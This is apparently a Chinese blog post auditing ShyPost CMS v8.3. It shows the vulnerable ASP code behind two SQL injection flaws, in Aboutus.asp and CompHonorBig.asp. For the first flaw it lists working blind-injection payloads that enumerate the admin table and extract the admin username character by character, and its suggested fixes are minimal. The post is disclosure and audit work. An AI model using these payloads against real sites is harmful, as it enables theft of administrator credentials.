代码审计:ShyPost企业网站管理系统 v8.3 两个注入

  • A+
所属分类:Seay信息安全博客

显示不全请点击全屏阅读

为了某些需求,分析下V8.3的版本!

 
好了 开始吧~!
 
ShyPost企业网站管理系统 v8.3
 
漏洞一:sql字符型注入
 
Aboutus.asp页面
 
<%Title=Trim(request(“Title”))   //request获取title标题,只是简单过滤了空格。
Set rs = Server.CreateObject(“ADODB.Recordset”)   //创建对象
sql=”select Content from Aboutus where Title=’”&Title&”‘”   //title带入数据库查询
rs.open sql,conn,1,3
%>
 
 
具体利用EXP:
 
'+and+'1'='1    //判断是否存在漏洞
 
'+and+exists(select+*+from+admin)+and+'1′='1    //判断是否存在admin表
 
'+and+esixts(select+username+from+admin)+and+'1′='1    //判断是否存在username列
 
'+and+exists(select+password+from+admin)and+'1′='1    //判断是否存在password列
 
'+and+(select+top+1+len(username)+from+admin)>4+and+'1′='1//判断username字段长度
'+and+(select+top+1+len(username)+from+admin)=5+and+'1′='1
密码一般都是16位MD5,所以直接可以用上面那句等于16就可以判断,或者等于32
 
‘+and+(select+top+1++asc(mid(username,1,1))from+admin)=97+and+’1′=’1  //判断帐号的第一个字母的access码!
 
好了,基本利用就这样,太麻烦了,难得搞了~! 自己去猜去吧~!
 
建议修复:过滤’符号就行了~!
 
漏洞二:sql注入(数字型)

 
CompHonorBig.asp页面

 
<!–#include file=”Inc/conn.asp”–>
<%dim id
id=request.QueryString(“id”)%>
<html>
<head>
<title>图片</title>
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″>
<%
set rs=server.CreateObject(“adodb.recordset”)
rs.open “select * from CompHonor where id=”&id,conn,1,1
%>
 
 
就不怎么讲解了,应该能看懂吧~!
 
ID没过滤就带入数据库查询了,注入产生~!
 
建议修复:

过滤ID!

 

来源:Dusk’s blog
 
 
 

Tags:

ShyPost漏洞, 代码审计,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡
代码审计:ShyPost企业网站管理系统 v8.3 两个注入